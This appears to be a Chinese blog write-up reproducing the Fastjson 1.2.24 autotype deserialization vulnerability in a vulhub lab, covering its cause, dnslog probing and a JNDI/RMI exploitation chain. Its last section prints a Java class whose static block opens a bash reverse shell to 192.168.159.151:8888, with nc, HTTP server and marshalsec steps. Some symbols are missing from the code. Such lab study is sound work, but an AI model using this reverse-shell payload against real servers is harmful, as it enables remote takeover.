个人与公司网站备案,与传统市场营销的区别与联系有哪些,html网页设计代码例子,俄文视频网站开发目录
Fastjon介绍
序列化与反序列化
漏洞产生的原因
漏洞点测试
使用dnslog探测
反弹shell 这一篇是学习JAVA里面的fastjson 反序列化漏洞#xff0c;这里还是参考别的师傅总结的文章进行学习
Fastjon介绍 Fastjson 是一个 Java 库#xff0c;可以将 Java 对象转换为 …目录
Fastjon介绍
序列化与反序列化
漏洞产生的原因
漏洞点测试
使用dnslog探测
反弹shell 这一篇是学习JAVA里面的fastjson 反序列化漏洞这里还是参考别的师傅总结的文章进行学习
Fastjon介绍 Fastjson 是一个 Java 库可以将 Java 对象转换为 JSON 格式当然它也可以将 JSON 字符串转换为 Java 对象。
Fastjson 可以操作任何 Java 对象即使是一些预先存在的没有源码的对象。 Fastjson 源码地址
GitHub - alibaba/fastjson: FASTJSON 2.0.x has been released, faster and more secure, recommend you upgrade.
Fastjson 中文 WikiQuick Start CN · alibaba/fastjson Wiki · GitHub
序列化与反序列化 Java序列化是指把Java对象转换为字节序列的过程而Java反序列化是指把字节序列恢复为Java对象的过程。
demo
package org.example;
import com.alibaba.fastjson.JSON;public class Main {public static void main(String[] args) {// 将一个 Java 对象序列化为 JSON 字符串Person person new Person(Alice, 18);String jsonString JSON.toJSONString(person);System.out.println(jsonString);// 将一个 JSON 字符串反序列化为 Java 对象String jsonString2 {\age\:20,\name\:\Bob\};Person person2 JSON.parseObject(jsonString2, Person.class);System.out.println(person2.getName() , person2.getAge());}// 定义一个简单的 Java 类public static class Person {private String name;private int age;public Person(String name, int age) {this.name name;this.age age;}public String getName() {return name;}public int getAge() {return age;}}
} 漏洞产生的原因
fastjson1.2.24
fastjson为了读取并判断传入的值是什么类型增加了autotype机制导致了漏洞产生。
由于要获取json数据详细类型每次都需要读取type而type可以指定反序列化任意类调用其setgetis方法并且由于反序列化的特性我们可以通过目标类的set方法自由的设置类的属性值。
那么攻击者只要准备rmi服务和web服务将rmi绝对路径注入到lookup方法中受害者JNDI接口会指向攻击者控制rmi服务器JNDI接口从攻击者控制的web服务器远程加载恶意代码并执行
Fastjson使用黑白名单用于防御反序列化漏洞,并允许用户在输入JSON串时通过“type”键对应的value指定任意反序列化类名。在特定条件下可绕过默认autoType关闭限制攻击远程服务器风险影响较大(也就是通常所指的“Gadget”)。
简单来说
fastjson数据传输时序列化话为了避免结果一样添加了autotype机制type键但其受用户任意调用恶意构造序列化代码受害者接受数据反序列化并调用相应模块去执行。
漏洞点测试
这里使用的还是vulhub靶场中的环境
进入到如下目录
/root/vulhub-master/fastjson/1.2.24-rce
使用docker-compose拉取环境 环境拉取换成后我们访问查看 在vulhub下的fastjson 1.2.24文件夹下保存以下代码为TouchFile.java文件 编译.java文件生成.class文件 在class文件所在的目录Python起一个http服务 然后在浏览器访问就可以看到当前目录的所有文件 接下来使用marshalsec项目启动RMI服务监听9999端口并加载远程类TouchFile.class
开启RMI服务masrhsec项目地址marshalsec-jar/marshalsec-0.0.3-SNAPSHOT-all.jar at master · RandomRobbieBF/marshalsec-jar (github.com) 下面使一款工具来生成github下载链接mbechler/marshalsec (github.com)
在pom.xml所在目录需要运行以下命令生成.jar文件 对页面抓包然后将提交方式修改为POST提交下列数据 发送后RMI监听和HTTP监听都会收到请求
使用dnslog探测 可以看到是有回显的说明我们是存在漏洞点的
反弹shell
这里首先就是需要在漏洞文件夹中新建一个shell.java文件内容如下是反弹shell的语句
// javac GetShell.java
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt Runtime.getRuntime();String[] commands {/bin/bash,-c,bash -i /dev/tcp/192.168.159.151/8888 01};Process pc rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}
然后我们先在攻击机上使用nc进行监听
然后将文件编译为class文件
javac GetShell.java 开启http服务
python -m http.server 4444 访问页面可以看到 开启RMI服务 然后还是抓包将请求方式修改为POST然后请求体中加上rmi监听的文件 查看攻击机中的nc监听状态可以看到已经成功的反弹shell了 参考文章
java经典漏洞复现基于vulhub - FreeBuf网络安全行业门户
Fastjson反序列化漏洞原理与漏洞复现基于vulhub保姆级的详细教程_fastjson漏洞原理-CSDN博客
完全零基础入门Fastjson系列漏洞基础篇 - 先知社区